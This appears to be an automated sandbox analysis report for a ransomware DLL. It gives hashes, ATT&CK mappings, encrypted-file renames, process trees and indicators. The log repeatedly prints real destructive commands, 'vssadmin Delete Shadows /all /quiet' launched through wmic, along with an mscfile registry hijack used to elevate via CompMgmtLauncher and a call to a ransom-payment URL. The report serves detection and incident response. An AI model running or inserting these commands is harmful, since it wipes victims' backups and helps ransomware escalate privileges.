dc7be5c75c746cd6e0660711d3fb8bc8753d760ece99c00f222fe21d9ddd4204

Analysis

max time kernel
138s
max time network
153s
platform
windows7_x64
resource
win7-en
submitted
07-09-2021 06:11

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

dc7be5c75c746cd6e0660711d3fb8bc8753d760ece99c00f222fe21d9ddd4204.dll
Size

38KB
MD5

57cc3140477c915e6202e6b1d2f8bb7e
SHA1

69201178ee3bf8bc5b9f8212bb412c7f7a3aa3c0
SHA256

dc7be5c75c746cd6e0660711d3fb8bc8753d760ece99c00f222fe21d9ddd4204
SHA512

47a0854b4640ba0d8ff69695a0f799af56362a801752a00ada96d1d876ab3f396d81be3ee511b36b2889f213656f2b126ea51077ca6e75cd630810dd20b6a91e

Score

10^/10

ransomware

Malware Config

Signatures

Process spawned unexpected child process 12 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2004	2020	cmd.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	896	2020	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1648	2020	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2228	2020	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2280	2020	cmd.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2416	2020	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2716	2020	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2744	2020	cmd.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2884	2020	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3044	2020	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1660	2020	cmd.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2192	2020	vssadmin.exe	39

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 11 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\FindSkip.crw => C:\Users\Admin\Pictures\FindSkip.crw.ddihwvy	rundll32.exe
File renamed	C:\Users\Admin\Pictures\MeasureConnect.raw => C:\Users\Admin\Pictures\MeasureConnect.raw.ddihwvy	rundll32.exe
File renamed	C:\Users\Admin\Pictures\UnlockImport.crw => C:\Users\Admin\Pictures\UnlockImport.crw.ddihwvy	rundll32.exe
File renamed	C:\Users\Admin\Pictures\ReceiveCheckpoint.tif => C:\Users\Admin\Pictures\ReceiveCheckpoint.tif.ddihwvy	rundll32.exe
File opened for modification	C:\Users\Admin\Pictures\SearchCopy.tiff	rundll32.exe
File opened for modification	C:\Users\Admin\Pictures\SplitRemove.tiff	rundll32.exe
File renamed	C:\Users\Admin\Pictures\RevokeBlock.crw => C:\Users\Admin\Pictures\RevokeBlock.crw.ddihwvy	rundll32.exe
File renamed	C:\Users\Admin\Pictures\UnregisterRedo.crw => C:\Users\Admin\Pictures\UnregisterRedo.crw.ddihwvy	rundll32.exe
File renamed	C:\Users\Admin\Pictures\SearchCopy.tiff => C:\Users\Admin\Pictures\SearchCopy.tiff.ddihwvy	rundll32.exe
File renamed	C:\Users\Admin\Pictures\SplitRemove.tiff => C:\Users\Admin\Pictures\SplitRemove.tiff.ddihwvy	rundll32.exe
File renamed	C:\Users\Admin\Pictures\StepOut.png => C:\Users\Admin\Pictures\StepOut.png.ddihwvy	rundll32.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1672 set thread context of 1108	1672	rundll32.exe	16
PID 1672 set thread context of 1156	1672	rundll32.exe	15
PID 1672 set thread context of 1192	1672	rundll32.exe	13

Interacts with shadow copies 2 TTPs 8 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
2192	vssadmin.exe
896	vssadmin.exe
1648	vssadmin.exe
2228	vssadmin.exe
2416	vssadmin.exe
2716	vssadmin.exe
2884	vssadmin.exe
3044	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{2D91CCD1-0FA3-11EC-9BDC-F267AD2FE0F7} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "337760381"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000000d327e8bcedb2d4b986abc323ea826ca000000000200000000001066000000010000200000008cfd3bc3e966c5413332fd52984d43ee3b94486d94eefcdc5ec4bd6d263b7660000000000e800000000200002000000042204074c4eef5d35513b8ea7005fbeeb2c8073ec68ce9a067b3dfef2292251c900000004dc3a7b9608df20f01ef12004a093b45c957431391b6266338e71c20a655c579f6940365c9f723e580b668a2d9b3646230b9bb1d82592d038cf5050a75368a5824331db7192b578067b87cfb19e42b888b1358f82acfb7fb16a3fc2a137ec7807f7013521729700fac9e0f237f44abcae7f37e1975c3081b1c2fbde57ac1ee7523a10c8e53df758b26f1f6c79c1e848c40000000a49992d4b989e0f222d24eacf374709f937520cd55cb82be59b804e10bab4d44ff1d0a956451d1a0b61512efdea256f1820121af73a60874933e39c35564c488	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000000d327e8bcedb2d4b986abc323ea826ca000000000200000000001066000000010000200000004e8251448980d2ec2c3891c2260f6a3e279950e1d4477bb5b08d6cc809d5c192000000000e80000000020000200000002cd4f208c4a0cc8e2e7cff6c51c2863f59880eee8729b765c7b0fe7e1a694bd32000000032aa1455cb89382dd66bc99b9e9b6ed3d84b80cae95ae7a848acd4db3b646cc14000000080f8cb420dd0ca7e0c26329ca895bba3f008d4019d88bdc844e28b317d2b400f4c86077494e5b4219a44e29ba7e4ab2a6568289f28c83f9ddc20ada78ac05e57	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 80671206b0a3d701	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe

Modifies registry class 11 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000_CLASSES\mscfile\shell\open	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000_CLASSES\mscfile\shell\open\command	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000_CLASSES\mscfile	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000_CLASSES\mscfile\shell	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
1520	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1672	rundll32.exe
1672	rundll32.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
1672	rundll32.exe
1672	rundll32.exe
1672	rundll32.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1192	Explorer.EXE
Token: SeShutdownPrivilege	1192	Explorer.EXE
Token: SeShutdownPrivilege	1192	Explorer.EXE
Token: SeShutdownPrivilege	1192	Explorer.EXE
Token: SeShutdownPrivilege	1192	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	924	wmic.exe
Token: SeSecurityPrivilege	924	wmic.exe
Token: SeTakeOwnershipPrivilege	924	wmic.exe
Token: SeLoadDriverPrivilege	924	wmic.exe
Token: SeSystemProfilePrivilege	924	wmic.exe
Token: SeSystemtimePrivilege	924	wmic.exe
Token: SeProfSingleProcessPrivilege	924	wmic.exe
Token: SeIncBasePriorityPrivilege	924	wmic.exe
Token: SeCreatePagefilePrivilege	924	wmic.exe
Token: SeBackupPrivilege	924	wmic.exe
Token: SeRestorePrivilege	924	wmic.exe
Token: SeShutdownPrivilege	924	wmic.exe
Token: SeDebugPrivilege	924	wmic.exe
Token: SeSystemEnvironmentPrivilege	924	wmic.exe
Token: SeRemoteShutdownPrivilege	924	wmic.exe
Token: SeUndockPrivilege	924	wmic.exe
Token: SeManageVolumePrivilege	924	wmic.exe
Token: 33	924	wmic.exe
Token: 34	924	wmic.exe
Token: 35	924	wmic.exe
Token: SeIncreaseQuotaPrivilege	1760	WMIC.exe
Token: SeSecurityPrivilege	1760	WMIC.exe
Token: SeTakeOwnershipPrivilege	1760	WMIC.exe
Token: SeLoadDriverPrivilege	1760	WMIC.exe
Token: SeSystemProfilePrivilege	1760	WMIC.exe
Token: SeSystemtimePrivilege	1760	WMIC.exe
Token: SeProfSingleProcessPrivilege	1760	WMIC.exe
Token: SeIncBasePriorityPrivilege	1760	WMIC.exe
Token: SeCreatePagefilePrivilege	1760	WMIC.exe
Token: SeBackupPrivilege	1760	WMIC.exe
Token: SeRestorePrivilege	1760	WMIC.exe
Token: SeShutdownPrivilege	1760	WMIC.exe
Token: SeDebugPrivilege	1760	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1760	WMIC.exe
Token: SeRemoteShutdownPrivilege	1760	WMIC.exe
Token: SeUndockPrivilege	1760	WMIC.exe
Token: SeManageVolumePrivilege	1760	WMIC.exe
Token: 33	1760	WMIC.exe
Token: 34	1760	WMIC.exe
Token: 35	1760	WMIC.exe
Token: SeIncreaseQuotaPrivilege	924	wmic.exe
Token: SeSecurityPrivilege	924	wmic.exe
Token: SeTakeOwnershipPrivilege	924	wmic.exe
Token: SeLoadDriverPrivilege	924	wmic.exe
Token: SeSystemProfilePrivilege	924	wmic.exe
Token: SeSystemtimePrivilege	924	wmic.exe
Token: SeProfSingleProcessPrivilege	924	wmic.exe
Token: SeIncBasePriorityPrivilege	924	wmic.exe
Token: SeCreatePagefilePrivilege	924	wmic.exe
Token: SeBackupPrivilege	924	wmic.exe
Token: SeRestorePrivilege	924	wmic.exe
Token: SeShutdownPrivilege	924	wmic.exe
Token: SeDebugPrivilege	924	wmic.exe
Token: SeSystemEnvironmentPrivilege	924	wmic.exe
Token: SeRemoteShutdownPrivilege	924	wmic.exe
Token: SeUndockPrivilege	924	wmic.exe
Token: SeManageVolumePrivilege	924	wmic.exe
Token: 33	924	wmic.exe
Token: 34	924	wmic.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
1768	iexplore.exe
1192	Explorer.EXE
1192	Explorer.EXE
1192	Explorer.EXE
1192	Explorer.EXE

Suspicious use of SendNotifyMessage 4 IoCs

pid	Process
1192	Explorer.EXE
1192	Explorer.EXE
1192	Explorer.EXE
1192	Explorer.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1768	iexplore.exe
1768	iexplore.exe
1884	IEXPLORE.EXE
1884	IEXPLORE.EXE
1884	IEXPLORE.EXE
1884	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1672 wrote to memory of 1520	1672	rundll32.exe	30
PID 1672 wrote to memory of 1520	1672	rundll32.exe	30
PID 1672 wrote to memory of 1520	1672	rundll32.exe	30
PID 1672 wrote to memory of 1392	1672	rundll32.exe	31
PID 1672 wrote to memory of 1392	1672	rundll32.exe	31
PID 1672 wrote to memory of 1392	1672	rundll32.exe	31
PID 1672 wrote to memory of 924	1672	rundll32.exe	32
PID 1672 wrote to memory of 924	1672	rundll32.exe	32
PID 1672 wrote to memory of 924	1672	rundll32.exe	32
PID 1672 wrote to memory of 1496	1672	rundll32.exe	35
PID 1672 wrote to memory of 1496	1672	rundll32.exe	35
PID 1672 wrote to memory of 1496	1672	rundll32.exe	35
PID 1496 wrote to memory of 1760	1496	cmd.exe	37
PID 1496 wrote to memory of 1760	1496	cmd.exe	37
PID 1496 wrote to memory of 1760	1496	cmd.exe	37
PID 1392 wrote to memory of 1768	1392	cmd.exe	38
PID 1392 wrote to memory of 1768	1392	cmd.exe	38
PID 1392 wrote to memory of 1768	1392	cmd.exe	38
PID 2004 wrote to memory of 1900	2004	cmd.exe	46
PID 2004 wrote to memory of 1900	2004	cmd.exe	46
PID 2004 wrote to memory of 1900	2004	cmd.exe	46
PID 1900 wrote to memory of 436	1900	CompMgmtLauncher.exe	49
PID 1900 wrote to memory of 436	1900	CompMgmtLauncher.exe	49
PID 1900 wrote to memory of 436	1900	CompMgmtLauncher.exe	49
PID 1768 wrote to memory of 1884	1768	iexplore.exe	51
PID 1768 wrote to memory of 1884	1768	iexplore.exe	51
PID 1768 wrote to memory of 1884	1768	iexplore.exe	51
PID 1768 wrote to memory of 1884	1768	iexplore.exe	51
PID 1156 wrote to memory of 2120	1156	Dwm.exe	54
PID 1156 wrote to memory of 2120	1156	Dwm.exe	54
PID 1156 wrote to memory of 2120	1156	Dwm.exe	54
PID 1156 wrote to memory of 2132	1156	Dwm.exe	55
PID 1156 wrote to memory of 2132	1156	Dwm.exe	55
PID 1156 wrote to memory of 2132	1156	Dwm.exe	55
PID 2132 wrote to memory of 2196	2132	cmd.exe	58
PID 2132 wrote to memory of 2196	2132	cmd.exe	58
PID 2132 wrote to memory of 2196	2132	cmd.exe	58
PID 2280 wrote to memory of 2312	2280	cmd.exe	63
PID 2280 wrote to memory of 2312	2280	cmd.exe	63
PID 2280 wrote to memory of 2312	2280	cmd.exe	63
PID 2312 wrote to memory of 2360	2312	CompMgmtLauncher.exe	64
PID 2312 wrote to memory of 2360	2312	CompMgmtLauncher.exe	64
PID 2312 wrote to memory of 2360	2312	CompMgmtLauncher.exe	64
PID 1192 wrote to memory of 2604	1192	Explorer.EXE	69
PID 1192 wrote to memory of 2604	1192	Explorer.EXE	69
PID 1192 wrote to memory of 2604	1192	Explorer.EXE	69
PID 1192 wrote to memory of 2616	1192	Explorer.EXE	70
PID 1192 wrote to memory of 2616	1192	Explorer.EXE	70
PID 1192 wrote to memory of 2616	1192	Explorer.EXE	70
PID 2616 wrote to memory of 2664	2616	cmd.exe	73
PID 2616 wrote to memory of 2664	2616	cmd.exe	73
PID 2616 wrote to memory of 2664	2616	cmd.exe	73
PID 2744 wrote to memory of 2792	2744	cmd.exe	78
PID 2744 wrote to memory of 2792	2744	cmd.exe	78
PID 2744 wrote to memory of 2792	2744	cmd.exe	78
PID 2792 wrote to memory of 2832	2792	CompMgmtLauncher.exe	79
PID 2792 wrote to memory of 2832	2792	CompMgmtLauncher.exe	79
PID 2792 wrote to memory of 2832	2792	CompMgmtLauncher.exe	79
PID 1108 wrote to memory of 2944	1108	taskhost.exe	83
PID 1108 wrote to memory of 2944	1108	taskhost.exe	83
PID 1108 wrote to memory of 2944	1108	taskhost.exe	83
PID 1108 wrote to memory of 2956	1108	taskhost.exe	84
PID 1108 wrote to memory of 2956	1108	taskhost.exe	84
PID 1108 wrote to memory of 2956	1108	taskhost.exe	84

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1192
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\dc7be5c75c746cd6e0660711d3fb8bc8753d760ece99c00f222fe21d9ddd4204.dll,#1
  2⤵
  - Modifies extensions of user files
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:1672
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\Users\Public\readme.txt?
    3⤵
    - Opens file in notepad (likely ransom note)
    PID:1520
- - C:\Windows\system32\cmd.exe
    cmd /c "start http://6684de48d06880500cddihwvy.outwest.top/ddihwvy^&1^&41360790^&74^&365^&12"?
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1392
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://6684de48d06880500cddihwvy.outwest.top/ddihwvy&1&41360790&74&365&12?
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1768
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1768 CREDAT:275457 /prefetch:2
        5⤵
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:1884
- - C:\Windows\system32\wbem\wmic.exe
    C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:924
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1496
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1760
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:2604
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2616
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:2664

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1156
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:2120
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2132
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:2196

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1108
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:2944
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  PID:2956
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:3020

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2004
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1900
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:436

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:896

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:1332

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1648

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2228

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2280
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2312
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2360

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2416

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2716

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2744
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2792
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2832

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2884

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:3044

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
PID:1660
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2068
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1584

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2192

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1108-65-0x0000000001C20000-0x0000000001C25000-memory.dmp

Filesize
20KB

Download
memory/1520-68-0x000007FEFBD81000-0x000007FEFBD83000-memory.dmp

Filesize
8KB

Download
memory/1672-63-0x0000000000350000-0x0000000000351000-memory.dmp

Filesize
4KB

Download
memory/1672-59-0x00000000002E0000-0x00000000002E1000-memory.dmp

Filesize
4KB

Download
memory/1672-57-0x00000000001C0000-0x00000000001C1000-memory.dmp

Filesize
4KB

Download
memory/1672-55-0x00000000001A0000-0x00000000001A1000-memory.dmp

Filesize
4KB

Download
memory/1672-64-0x0000000001B90000-0x0000000001B91000-memory.dmp

Filesize
4KB

Download
